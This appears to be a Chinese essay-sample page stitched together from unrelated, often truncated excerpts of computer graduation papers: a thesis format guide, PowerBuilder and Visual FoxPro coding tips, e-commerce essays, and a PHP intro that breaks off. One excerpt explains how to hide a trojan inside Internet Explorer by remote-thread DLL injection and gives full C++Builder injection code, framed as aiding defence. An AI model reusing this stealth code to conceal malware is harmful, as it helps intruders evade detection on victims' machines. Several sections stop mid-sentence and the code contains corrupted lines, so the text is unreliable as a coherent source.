時間:2023-01-16 20:09:40
序論:寫作是一種深度的自我表達。它要求我們深入探索自己的思想和情感,挖掘那些隱藏在內心深處的真相,好投稿為您帶來了七篇計算機畢業論文范文,愿它們成為您寫作過程中的靈感催化劑,助力您的創作。
我們這篇文章分部分進行講解:
一、本科學生畢業論文的目的和內容
二、管理信息系統開發的主要步驟
三、計算機專業所選開發工具和注意事項
四、計算機畢業論文撰寫格式
五、畢業論文中正文的寫法和注意事項
六、結束語的寫法
七、參考文獻列出畢業論文設計中主要參考書籍
八、附錄的寫法
九、論文評分的能用標準
一、本科學生畢業論文的目的和內容
本科學生在畢業之前必須做畢業論文,其目的是通過畢業論文,讓學生獨立開發一個具體的計算機應用項目,系統地進行分析總結和運用學過的書本知識,以鞏固本科階段所學的專業理論知識,并給予一個理論聯系實際的機會。
為了便于實施和管理,規定網絡學院計算機相關專業本科學生畢業論文主要以開發一個管理信息系統為畢業實踐的課題,每個畢業生通過獨立開發一個具體的管理信息系統,掌握開發一個比整完整的管理信息系統的主要步驟,并從中獲得一定的實際經驗。
二、管理信息系統開發的主要步驟
管理信息系統開發的主要步驟及各步驟的基本內容如下:
1、系統分析
主要工作內容有以下幾項:確定系統目標,系統可行性分析
2、系統調查
系統的組織結構、職能結構和業務流程分析。其中系統的組織結構圖應畫成樹狀結構。
系統業務流程分析、業務流程圖
3、數據流程分析
數據流程圖(系統關聯圖、頂層圖、一層數據流圖、二層數據流圖)、數據詞典、代碼設計
4、管理信息系統的功能設計
系統的功能結構圖,每個功能模塊的主要工作內容、輸入輸出要求等。
系統控制結構圖
5、數據庫設計
概念模型設計:實體、實體間的聯系、E-R圖
關系模式設計:E—R圖->關系模式的轉換規則
關系模式
數據庫表設計:數據庫表結構
6、系統物理配置方案
7、人機界面設計
8、模塊處理概述
9、系統測試和調試:測試計劃、測試用例、測試結果
三、開發工具和注意事項
1、開發工具
開發工具可由學生任選。如Delphi、FoxPro、VB、Access等,這些工具的使用全由學生自學。
2、注意事項
(1)項目開發步驟的完整性(系統需求分析、概念設計、物理設計、系統環境和配置、系統實施以及系統測試和調試等)
(2)每個開發步驟所得結果的正確性(業務流程圖、數據流程圖、數據詞典、HIPO圖、E-R圖、關系模式、人機界面設計及模塊處理等的詳細分析和說明)
(3)論文整體結構的完整性(前言、各個具體步驟的敘述和分析、結語、參考文獻和有關附錄)
(4)提供軟件系統的可執行盤片及操作說明書
(5)參考資料(列出必要的參考資料)
四、畢業論文撰寫格式
注意:1.每個步驟都要有文字說明和論述2.各個步驟必須是有機的組合,不可以支離破碎不成一體。
一、封面
二、摘要用約200-400字簡要介紹一下論文中闡述的主要內容及創新點
三、主題詞用一、二個詞點明論文所述內容的性質。(二和三要在同一頁面上)
四、目錄一般采用三級目錄結構。例如第三章系統設計3.1系統概念結構3.1.1概念模型
五、正文
第一章前言
簡要介紹:組織機構概況、項目開發背景、信息系統目標、開發方法概述、項目開發計劃等。
第二章系統需求分析
本章應包含:
(1)現行業務系統描述
包括業務流程分析,給出業務流程圖。
具體要求:業務流程圖必須有文字說明,圖要完整、一定要有業務傳遞的流程。
(2)現行系統存在的主要問題分析
指出薄弱環節、指出要解決的問題的實質,確保新系統更好,指出關鍵的成功因素。
(3)提出可能的解決方案
(4)可行性分析和抉擇
包括技術可行性、經濟可行性、營運可行性分析和抉擇。
第三章新系統邏輯方案
針對用戶需求,全面、系統、準確、詳細地描述新系統應具備的功能。
(1)數據流程分析
最主要的是給出數據流程圖,要求滿足以下條件:
A.數據流程圖必須包括系統關聯圖、系統頂層圖、第一層分解圖和第二層分解圖組成。B.系統關聯圖確定了從外部項到系統的數據流和從系統向外部項的數據流,這些數據流在其它層次的數據流中不允許減少,也不允許增加。各層次內部的數據流不受關聯圖的限制。C.數據流應有名字。D.外部項和數據存儲之間不得出現未經加工的數據流。E.數據流程圖的分解中,必須保持每個分層同其上層加工中的外部項和輸入輸出流相一致。F.各加工之間一般不應出現未經數據存儲的數據流。G.數據存儲之間不得出現未經加工的數據流。H.數據存儲可以分解。I.若有查詢處理,應在數據流程圖中表達。J.統計和打印報表不在數據流圖中表達。
(2)數據詞典描述
可采用圖表格式或較緊湊的記錄格式描述A、若采用圖表格式,可只寫出數據流、數據元素、加工、數據存儲和外部項各一個表。B、若采用緊湊的記錄格式,則應列出全部成分。如數據元素:編號名稱存在于數據結構備注E1入庫數據F1/F3/F11/F15入庫單號日期貨號數量E2出庫數據F1/F3/F11/F15出庫單號日期貨號數量C、據流程圖中系統頂層圖的數據加工都必須詳盡寫出。
(3)基本加工小說明
可采用結構化語言、數學公式等描述各個基本加工。
第四章系統總體結構設計
(1)軟件模塊結構設計A、系統軟件模塊結構圖,并由此導出功能分解圖及層次式菜單結構。B、系統的模塊結構應與數據流程圖的頂層圖的加工一致。
(2)數據庫設計A、應按下列次序闡述各個元素:實體、實體的屬性、實體間聯系、E-R圖、轉換規則、關系模式。B、在介紹實體的屬性時,不應包括聯系屬性,聯系屬性直至關系模式中才出現。C、數據流程圖中的每個數據存儲可隱含于E-R圖中的多個實體。D、E-R圖中的實體要與數據流程圖中的數據存儲相對應。每個實體要指出實體的標識碼(主碼)。對每個實體或聯系應列出其應有的屬性(用列舉的方法)。E、E-R圖中至少要有一個多對多的聯系。F、必須嚴格按照轉換規則從E-R圖產生數據關系模式集,需要時作必要的優化,并說明理由。G、對于一對一的聯系,只應把任一個實體的主碼放在另一個實體中作為外碼。H、一對多聯系也可以產生新的關系模式,如要這樣做,必須說明理由。I、多對多聯系,或三元聯系必須產生新的關系模式。J、關系模式的個數和名字要與E-R圖中的實體和聯系相一致。K.、每個關系模式中要用下橫線標出主碼,后隨的符號“#”標出外碼。L、若有代碼對照表可在最后列出,需另加說明。
(3)計算機系統配置方案的選擇和設計
給出硬件配置,系統軟件配置,網絡通信系統配置(可選)等內容。
(4)系統總體安全性、可靠性方案與措施。
第五章系統詳細設計
(1)代碼設計基本數據項的代碼格式。
(2)人機界面設計給出人機界面視圖(輸入輸出接口,屏幕格式設計等)
(3)模塊處理過程根據軟件環境做不同處理??刹捎媚_本、程序流程圖、結構化的PDL語言等。
第六章實施概況
(1)實施環境和工具的比較選擇
(2)編程環境、工具、實現與數據準備概況
(3)系統測試概況主要包括測試計劃、測試用例、測試記錄。
(4)系統轉換方案及實現概況
(5)系統運行與維護概況
六、結束語
(1)系統特色、局限與展望
(2)實施中遇到的挫折、創新、體會與致謝
七、參考文獻列出畢業論文設計中主要參考書籍
序號、書名或文章名、作者名、出版社或雜志名、出版日期或雜志期號。
八、附錄
(1)列出部分有一定代表性的程序代碼段
(2)操作說明書
九、論文評分標準
1、A等
系統正確無誤,系統功能完善,設計步驟完整正確,實用性強,有一定的創新性,論文結構嚴謹,表述流暢。
2、B等
系統基本正確,系統功能基本完善,設計步驟基本完整正確,有一定的實用性,論文結構良好,表述基本流暢。
3、C等
系統有少量錯誤,系統功能不夠完善,設計步驟欠完整,基本上沒有實用性,論文結構一般,表述基本清楚。
4、不及格
摘要介紹了幾種powerbuiler開發web應用的幾種方法,分析其原理和
結構,并給出了用web.pb開發簡單的網上應用的實例.
關鍵詞web應用;cgi;分布式應用
abstractthemethodsofdevelopingwebapplicationusingpowerbuilerandthe
structureofthatareintroduced.anexampleofshoppingininternetdevelopedusing
web.pbisgiven.
1引言
隨著計算機網絡技術的日趨成熟,internet的發展迅速,internet應用開發將是現在和將來信息系統開發的主要技術方向之一。powerbuilder是sybase公司推出的用于企業級應用的開發工具,該工具不僅具有client/server應用的各種先進技術,還提供了基于瀏覽器/服務器的應用開發模式.
2powerbuilder中的web應用模塊
powerbuilder中含有開發web應用的模塊,通過這些模塊可以連接web服務器與powerbuilder應用.該模塊包括以下及部分,web.pb:是幾個可以在web服務器上執行的程序,被服務器激活后,調用powerbuilder應用,完成客戶端任務和對數據庫的事務操作.plug_ins(插入件):包括windowplug_in和datawindowplug_in,此方式可將powerbuilder對象嵌入到頁面中,在瀏覽器端執行powerbuilder應用.windowactivex:此方式與windowplug_in類似,所不同在于該方式可以和html中的javascripts,vbscripts交互.本文主要討論利用web.pb開發web應用.
3利用web.pb開發web應用
web.pb本身就是一個cgi程序,它提供了從服務器到powerbuilder應用的訪問.所以在web.pb之上,可以利用powerbuilder的強大功能開發復雜的web應用,如采用powerbuilder的powerscripts語言環境,數據窗口技術等.powerbuilder的web應用構建前提是分布式應用體系.powerbuilder的客戶端應用分布到web服務器上,可將web.pb看作為客戶端應用.當客戶端應用web.pb被web服務器激活后,調用powerbuilder的服務器應用,執行在服務器應用中定義的方法,實現業務邏輯,如下圖所示:
這種模式是真正的“廋”客戶機模式,客戶端不需要安裝其它軟件,只安裝瀏覽器軟件.所有的事務操作都在服務器端完成,下面將結合實例詳細說明:
利用powerbuilder開發一個網上購書應用.對于分布式powerbuilder應用,首先應向客戶web.pb指明powerbuilder服務器應用在網絡上的位置(location),其應用名,使用文件pbweb.ini來記錄服務器應用信息.在此例中,取服務器應用名為tutorial,driver=winsock,application=10099/tcp,location=localhost.
建一個數據庫(book_dealing)其中有三個表,分別為:
“book”:b_name,b_no,b_publisher,b_price,b_num
“customer”:c_name,c_tel,c_addr
“dealing”:b_name,c_name,d_num,d_time
建一個數據窗口dw_book,其sql語法為:
select“book”.”b_name”,
“book”.”b_no”,
“book”.”b_publisher”,
“book”.”b_price”,
“book”.”b_num”
from“book”
創建pb服務器應用的用戶界面。在窗口w_server上有兩個按鈕cb_1,cb_2,再定義一個transport類型的實例變量mytransport,cb_1的clicked事件有關程序如下:
..........
mytransport=createtransport
mytransport.driver=“winsock”
mytransport.location=“localhost”
mytransport.application=“10099”
.........
創建一個不可視的用戶對象u_internet,定義一個transaction類型的全局變量mytransaction,在該用戶對象的constructor事件中定義連接到數據庫(book_dealing)的事務對象mytransaction和連接到數據庫(webpb)的事務對象sqlca,在該對象的destructor事件中分別取消這兩個事務對象。
在u_internet上定義兩個函數分別為f_book,f_book_dealing,這兩個函數的返回值都為字符類型。在f_book中,利用數據窗口dw_book作數據庫查詢,再利用數據窗口的屬性將查詢結果以html形式返回給web.pb,有關程序如下:
stringreturn_html
datastoredd
dd=createdatastore
dd.dataobject=”dw_book”
dd.settransobject(mytransaction)
dd.retrieve()
.....
return_html=return_html+dd.object.datawindow.data.htmltable
......
returnreturn_html
在函數f_dealing中,定義參數分別為:book_name,deal_num,custom_name,deal_time,custom_tel,custom_addr,用來接受form元素傳來的信息。再利用powerscripts語言對數據庫(book_dealing)進行修改。有關程序如下:
stringreturn_html
…………
connectionusingmytransaction;
insertinto“customer”
(“c_name”,
“c_tel”,
“c_addr”)
values(:custom_name,:custom_tel,:custom_addr);
insertinto“dealing”
(“b_name”,
”d_num”,
”d_time”,
”c_name”)
value(:book_name,:deal_num,:deal_time,:custom_name);
ifmytransaction.sqlcacode>0then
return_html=”定貨成功!”
else
return_html=”定貨失??!”
endif
………..
returnreturn_html
主頁上的“瀏覽書庫”的超連接為:
近幾年,電子商務的迅速發展及表現出來對社會經濟生活的巨大影響已引起了人們的廣泛關注。特別是以美國為代表的經濟發達國家,都在大規模地推動電子商務的發展,并以此取代或改造傳統的商務活動方式,重組業務流程,降低交易成本,加速流通過程,全面提高企業的市場競爭力和綜合國力。從目前全球的發展情況看,電子商務將成為新世紀企業競爭的主要手段,互聯網和電子商務的興起,不僅徹底改變經濟增長方式,還將改變世界經濟格局和貿易體制。
從總體上看,電子商務可大致分為企業間的(Busines8toBusi-ness)和企業對消費者的業務(BusinesstoConsumer)。我國正處在電子商務的起步階段,無論從國際發展趨勢,還是從我國現實需要出發,發展我國電子商務都要以推進BtoB即企業對企業的業務為重點。面對新的形勢,我國企業如不積極跟進會在今后全面國際化的市場競爭中處于被動。
從國際電子商務發展的實踐和潮流看,BtoB業務占據絕對的主導地位。在全球電子商務銷售額中,BtoB業務高達80%至90%。以美國為例,目前企業間利用互聯網從事的商務活動正急劇增加,主要包括:(1)企業與其供應商之間采購事物的協調3(2)物料計劃人員與倉儲、運輸其產品的公司間的業務協調;(3)銷、售機構與其產品批發商、零售商之間的協調;(4)客戶服務;(5)公司日常運營活動,內部員工的交流等。據美國商業周刊公布的數字,1998年美國企業間的電子商務是企業對消費者個人銷售業務的5倍。預計到2000年這一比例將達到10倍,其業務量將占到全美企業間貿易總量的9%,到2005年會進一步擴大到40%左右。
從交易形式看,企業間的網絡業務主要有兩類,即企業自建網與中介服務網。前者多為產業鏈條長,業務伙伴多或自身專業性較強的大企業、跨國公司,如飛機、汽車、計算機、辦公用品等行業制造商,大型批發、零售企業等,主要用于公司自身的業務和對供應商、銷售商的服務。后者則由中介機構建網,主要面向中小企業提品的采購、信息和銷售等方面的服務。
從實踐效果看,電子商務的應用已使許多企業獲益。許多大公司,以“增值鏈”為核心,實施供應鏈管理的電子化,成為目前電子商務的應用主體。如,IBM公司從1996年起,實施生產、營銷和采購部門的電子通訊,改進生產經營計劃,僅一年時間庫存周轉就加快了40%,產品銷售增加了30%,由于有效地利用現有的生產能力,減少投資,增加資金周轉,節省引用5000萬美元。又如美國通用電器公司啟用網上采購系統,自動聯系客戶,協調業務,下訂單,預計二、三年內采購量可達到50億美元,將為公司節省5—7億美元的采購費用。
從發展趨勢看,今后隨著電子商務的擴大,中小企業將成為企業間電子商務活動的主要增長力量。目前正在建設中的美國汽車行業自動交易系統(ANx),準備把世界上所有的供貨商和制造商連接起來,這一項目將在2000年啟用,屆時全美1/5的汽車零部件要通過該網銷售,業務量將達到300億美元,且供應商多為二、三級中小企業。據美國權威機構公布的數字表明,美國企業間的電子商務將進入一個高速增長的階段,今后5年的年均增長率將達到40%以上,業務量也將成倍增長。
從我國國情和現實條件出發,用電子商務改造傳統產業,增強企業的競爭力是我國電子商務發展的重要內容,也是推進我國電子商務起步的現實選擇。
網絡營銷是一種以消費者為導向,強調個人化的營銷方式
網絡營銷最大的特點在于以消費者為主導。消費者將擁有比過去更大的選擇自由,他們可根據自己的個性特點和需求在全球范圍內尋找滿足品,不受地域限制。通過進入感興趣的的企業網址或虛擬商店,消費者可獲取產品的更多的相關信息,使購物更顯個性。
這種個性消費的發展將促使企業重新考慮其營銷戰略以消費者的個性需求作為提品及服務的出發點。但是,要真正實現個性營銷還必須解決龐大的促銷費用問題。網絡營銷的出現則為這一難題提供了可行的解決途徑。企業的各種銷售信息在網絡上將以數字化的形式存在,可以以極底的成本發送并能隨時根據需要進行修改,龐大的促銷費用因而得以節省。企業也可以根據消費者反饋的信息和要求通過自動服務系統提供特別服務。
網絡營銷具有極強的互動性是實現全程營銷的理想工具
傳統的傳統的營銷管理強調4P(產品、價格、渠道和促銷)組合,現代營銷管理則追求4C(顧客、成本、方便和溝通),然而無論那一種觀念都必須基于這樣一個前提:企業必須實行全程營銷,即必須由產品的設計階段開始就充分考慮消費者的需求和意愿。
遺憾的是,在實際操作中這一點往往難以做到。原因在于消費者與企業之間缺乏合適的溝通渠道或溝通成本太高。消費者一般只能針對現有產品提出建議或批評,對尚處于概念階段的產品難以涉足。此外,大多數的中小企業也缺乏足夠的資本用于了解消費者的各種潛在需求,他們只能憑自身能力或參照市場領導者的策略進行產品開發。
而在網絡環境下,這一狀況將有所改觀。即使是中小企業也可以通過電子布告欄、線上討論廣場和電子郵件等方式,以極底成本在營銷的全過程中對消費者進行即時的信息搜索,消費者則有機會對產品從設計到定價(對采用理解價值定價法的企業尤為重要)和服務等一系列問題發表意見。這種雙向互動的溝通方式提高了消費者的參與性與積極性,更重要的是它能使、企業的決策有的放矢,從根本上提高消費者滿意度。
網絡營銷能滿足消費者對購物方便性的需求,提高消費者的購物效率
現代化的生活節奏已使消費者用于外出在商店購物的時間越來越短。在傳統的購物方式中,從商品買賣過程來看,一般需要經過看樣棗選擇商品棗確定所需購買的商品棗付款結算棗包裝商品棗取貨(或送貨)等一系列過程。這個買賣過程大多數是在售貨地點完成的,短則幾分鐘,長則數個小時,在加上購買為購買商品去購物場所的路途時間、購買后的返途時間及在購買地的逗留時間,無疑是大大延長了商品的買賣過程,使消費者為購買商品而在時間和精力上作出很大的付出。同時,擁擠的交通和日益擴大的店面更延長了消費者購物所耗費的時間和精力。然而,在現代社會,隨著生活節奏的加快,使得人們越來越珍惜閑暇時間,越來越希望在閑暇時間內從事一些有益于身心的活動,并充分地享受生活。在這中情況下,人們用于外出購物的時間越來越少。
關鍵字:報表設計器
1.如何打印指定的頁
通常情況下,VFP默認打印當前報表的全部內容,這給使用者帶來不便,那么如何實現讓系統打印指定范圍的內容呢?其實很簡單,只需在報表打印語句中加上關于打印范圍限制的關鍵字短語RANGE即可。如:打印報表XXX.FRX的第2至第5頁,可使用如下命令
REPORTFORMXXX.FRXRANGE2,5TOPRINTER
為增強該語句功能的靈活性,可引入表示欲打印范圍的兩個參數x和y,分別代表打印的起始和終止頁碼,將打印命令改寫為
REPORTFORMXXX.FRXRANGEx,yTOPRINTER
2.如何計算總頁數,以實現每頁均打印“第x頁共y頁”字樣
VFP系統變量_PAGENO可提供當前的打印頁號,但卻沒有能返回總頁數的系統變量,若要實現在報表的每一頁均打印“第x頁共y頁”字樣,打印前可根據細節區所打印的記錄條數,進行計算,然后再打印,實現方法如下:
PUBLICmPAGE
SELEXXX&&XXX為欲打印報表的數據源
XX=35&&XX為每頁報表細節區所打印的記錄條數
mPAGE=IIF(MOD(RECC(),XX)=0,RECC()/XX,INT(RECC()/XX)+1)&&mPAGE為報表總頁數
在報表頁腳注(或其他合適位置)添加如下信息即可:
"第"+allt(str(_pageno))+"頁共"+allt(str(mPAGE))+"頁"
3.如何使計算機打印紙張類型適合于所設計報表
報表在設計時能夠正常打印,可是安裝到其他計算機或重裝系統后,就會出現“XXX帶區太大不能放入頁中”等提示,而且無法正常退出(尤其是對報表設計時采用自定義紙張的程序),這是為什么呢?現作如下解釋:
我們用報表設計器設計的報表打印程序,保存退出后,磁盤上就會出現.FRX和.FRT文件,我們的所有設計均保存在這兩個文件中。在VFP中.FRX相當于.DBF表,.FRT相當于.FPT備注型文件,我們用USEXXX.FRX可以象打開.DBF文件一樣打開.FRX文件,在.FRX文件中有個Expr備注型字段名,在這個字段名中有如下與打印設置相關的內容(不同設置內容稍有差別):
DRIVER=winspool
DEVICE=EpsonLQ-1600K
OUTPUT=LPT1:
ORIENTATION=0
PAPERSIZE=256
PAPERLENGTH=2800
PAPERWIDTH=2400
DEFAULTSOURCE=8
PRINTQUALITY=180
YRESOLUTION=180
TTOPTION=1
其中:
DEVICE=EpsonLQ-1600K表示系統默認打印機類型為EpsonLQ-1600K
PAPERSIZE=256該值256表示是自定義紙張(若=9表示A4紙張、=13表示B5紙張)
PAPERLENGTH=2800表示報表設計時紙張長度
PAPERWIDTH=2400表示報表設計時紙張寬度
實際打印時之所以會上述提到的問題,是因為在用戶環境中或Windows系統重新安裝后,系統一般默認的是A4打印紙,與我們設計時保存在.frx文件里的紙張類型不符,因而造成打印出錯。為此,筆者編寫了如下一段檢測紙張類型的代碼,這段代碼可以幫助我們很好地解決因紙張類型不符所帶來的問題。
USExxx.frxIN0ALIASmFrx&&在空閑工作區以mFrx別名打開xxx.frx文件
x=atcline(''''PAPERSIZE'''',mFrx.Expr)&&取得參數PAPERSIZE在Expr字段中的行
mTYPE_1=subs(mline(mFrx.Expr,x),11)&&取得設計時保存的紙張類型
mTYPE_2=allt(str(Prtinfo(2)))&&取得當前打印機默認的紙張類型
x=atcline(''''PAPERLENGTH'''',mFrx.Expr)&&取得紙張長度在Expr字段中的行
mLEN=subs(mline(mFrx.Expr,x),13)&&取得紙張長度
x=atcline(''''PAPERWIDTH'''',mFrx.Expr)&&取得紙張寬度在Expr字段中的行
mWIDTH=subs(mline(mFrx.Expr,x),12)&&取得紙張寬度
usein''''mFrx''''&&關閉xxx.frx文件
ifmTYPE_1=mTYPE_2&&如果相符,則正常打印
reportformxxx.frxtoprinternoconsole
else
Messagebox(''''請設置打印機紙張類型為自定義:長=''''+mLEN+'''',寬=''''+mWIDTH,0+48+0,''''提示'''')
reportformxxx.frxtoprinterprompt
摘要進程的隱藏一直是木馬程序設計者不斷探求的重要技術,本文采用遠程線程技術,通過動態鏈接庫方法,較好地解決了這一問題,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。
關鍵字進程線程木馬動態鏈接庫
木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。
本文分析了WindowsNT/2000系統下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現WindowsNT/2000系統中進程的隱藏。
1基本原理
在WIN95/98中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統下,可執行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發現木馬的方法之一,隨著入侵檢測軟件的不斷發展,關聯進程和SOCKET已經成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發現木馬線程的存在,從而達到隱藏的目的。
2實現方法
為了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是DynamicLinkLibrary(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。
運行DLL方法有多種,但其中最隱蔽的方法是采用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。
遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。
3實施步驟
1)用Process32Next()函數找到宿主進程,獲取宿主進程ID,并用
OpenProcess()函數打開宿主進程。
2)用VirtualAllocEx()函數分配遠程進程地址空間中的
內存。
3)用WriteProcessMemory()函數將待隱藏的DLL的路徑名。
4)拷貝到步驟二已經分配的內存中。
5)用GetProcAddress()函數獲取LoadlibraryA()函數的實地址(在kernel32.dll中)。
6)用CreateRemoteThread()函數在遠程進程中創建一個線程。
7)它調用正確的LoadlibraryA()函數。
8)為它傳遞步驟二中分配的內存地址。
4具體實例
下面是在C++Builder4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隱藏的DLL文件名
HANDLEhProcessSnap=NULL;//進程快照句柄
HANDLEhRemoteProcess;//遠程進程句柄
LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放遠程線程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打開進程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失敗返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//獲取第一個進程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主進程,以IEXPLORE.EXE為例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程
}
else
{
MessageBox(NULL,"取第一個進程失敗","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打開遠程進程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假設hide.dll是待隱藏的進程
intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申請存放文件名的空間
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名寫入申請的空間
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//獲取動態鏈接庫函數地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//創建遠程線
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//關閉遠程線程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//關閉進程快照
}
該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。
至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經正常地在遠程線程運行,我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//獲取當前進程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具
也能看到:
ProcessID:1208
C:\WINNT\IEXPLORE.EXE(0x00400000)
……
C:\WINNT\hide.dll(0x100000000)
……
這證明hide.dll已經在IEXPLORE.EXE進程內正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。
5結束語
進程隱藏技術和方法有很多,而且這一技術發展也相當快,本文僅從一個側面加以討論,希望通過這一探討讓我們對進程隱藏技術有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供參考,本文拋磚引玉,不當之處誠懇批評指正。
參考文獻
關鍵詞PHPMySQLODBC
1.引言
在Internet應用中,將服務器端腳本技術和客戶端腳本技術結合起來可以制作出豐富多彩的頁面。CGI和ASP是比較流行的服務器端腳本技術。通常CGI在跨平臺的開發中扮演著主要角色,可以使用VB、C或Perl等來實現,用它們寫的CGI腳本是一個單獨的程序,而不是嵌在HTML文檔中再通過另一個程序解釋替換的,所以它是一種“非嵌入式”的服務器端腳本。另外,每一次修改CGI程序都必須重新將其編譯成執行文件,因此,這樣的編寫方式事實上是比較困難且沒有效率。ASP則是嵌入式的服務器端腳本,每一次修改腳本并不需要重新編譯成執行文件就可以直接執行,但ASP有一個致命的缺點:不具有跨平臺開發能力。目前ASP只能在Windows環境下運行,而無法在Internet上的Unix平臺下使用。在這種情況下PHP的問世,在WelCGI的領域里掀起了一場革命。
2.PHP介紹
